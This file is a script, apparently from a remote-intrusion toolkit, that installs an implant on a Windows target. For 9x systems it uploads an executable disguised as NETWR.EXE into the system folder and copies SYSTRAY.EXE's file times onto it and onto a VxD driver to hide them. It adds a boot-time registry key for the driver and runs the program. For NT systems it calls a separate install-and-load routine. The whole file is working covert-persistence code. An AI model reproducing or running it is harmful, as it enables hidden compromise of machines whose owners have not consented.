#-------------------------------------------------------------------------------
# File: InstallExe.eps
#
# Description: Performs a level4 install for the exe version
#
# Modifications:
#	08/15/05	Created
#-------------------------------------------------------------------------------
@include "_FileExists.epm";
@include "_GetDirectory.epm";
@include "_GetSystemPaths.epm";
@include "_VersionChecks.epm";

@echo off;

if (($argc < 3) || ($argc > 6)) {
    echo "Usage: $argv[0] <localFile> <remoteName> [notused1] [notused2] [notused3]";
    return false;
}

string $localFile = $argv[1];

if (_IsTargetNtFamily()) {

    # NT Family
    return InstallOnNt($localFile);
    
} else {

    # 9x Family
    return InstallOn9x($localFile);

}

#-------------------------------------------------------------------------------
sub InstallOn9x(IN string $localFile)
{

    string $remoteName = "NETWR.EXE";
    string $requiredPath = "C:\\WINDOWS\\system";    
    string $matchFile = "SYSTRAY.EXE";

    string $system;
    string $root;
    ifnot (_GetSystemPaths($root, $system)) {
	echo "* Unable to get system directory";
	return false;
    }

    string $fullPath = "$root\\$system";
    if ($fullPath != $requiredPath) {
	echo "* System path is not $requiredPath (it is $fullPath).  Cannot install";
	return false;
    }

    if (_FileExists($remoteName, $fullPath)) {
	echo "$remoteName is already installed (file exists)";
	return false;
    }
    
    # upload exe
    echo "Uploading exe";
    if (`put "$localFile" -name "$fullPath\\$remoteName" -permanent`) {
	echo "    UPLOADED";
    } else {
	echo "    FAILED";
	return false;
    }

    # match file times for new exe
    echo "Matching file time for EXE";
    if (`matchtimes "$fullPath\\$matchFile" "$fullPath\\$remoteName"`) {
	echo "    SUCCESS";
    } else {
	echo "    FAILED (but continuing anyway)";
    }

    if (install9xDriver($fullPath) == false) {
	echo "";
	echo "*** Install failed -- perform cleanup by hand ***";
	echo "";
	return false;
    }

    echo "Starting executable";
    ifnot (`run -command "$fullPath\\$remoteName"`) {
	echo "    FAILED";
	echo "";
	echo "*** Install failed -- perform cleanup by hand ***";
	echo "";
	return false;
    } else {
	echo "    SUCCESS";
    }

    return true;

}
# END InstallOn9x

#-------------------------------------------------------------------------------
sub InstallOnNt(IN string $localFile)
{

    ifnot (`dp_install "$localFile"`) {
	return false;
    }

    return `dp_load`;

}
# END InstallOnNt

#-------------------------------------------------------------------------------
sub Install9xDriver(IN string $fullPath)
{

    string $drvName = "VNETWR";
    string $matchFile = "SYSTRAY.EXE";

    # make sure it's not already installed
    if (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\\\VxD\\$drvName`) {
	echo "$drvName is already installed (key exists)";
	return false;
    }

    if (_FileExists("$drvName.VXD", $fullPath)) {
	echo "$drvName is already installed (file exists)";
	return false;
    }

    # get the local vxd location
    string $localFile;
    if (_GetLpResourcesDirectory($localFile) == false) {
	echo "* Failed to get local resources directory";
	return false;
    }

    $localFile = "$localFile\\PC\\Level4\\$drvName.VXD";
    string $remoteName = "$drvName.VXD";

    # upload driver
    echo "Uploading driver";
    if (`put "$localFile" -name "$fullPath\\$remoteName" -permanent`) {
	echo "    UPLOADED";
    } else {
	echo "    FAILED";
	return false;
    }

    # match file times for new exe
    echo "Matching file time for driver";
    if (`matchtimes "$fullPath\\$matchFile" "$fullPath\\$remoteName"`) {
	echo "    SUCCESS";
    } else {
	echo "    FAILED (but continuing anyway)";
    }

    # add the registry keys
    bool $keysAdded = true;
    echo "Adding registry keys";
    ifnot (`regadd -hive L -key SYSTEM\\CurrentControlSet\\Services\\VxD\\$drvName -value StaticVxD -type REG_SZ -data "$fullPath\\$remoteName"`) {
	$keysAdded = false;
    }
	
    if ($keysAdded == false) {
	echo "    FAILED";
	return false;
    } else {
	echo "    SUCCESS";
    }

    return true;

}
# END Install9xDriver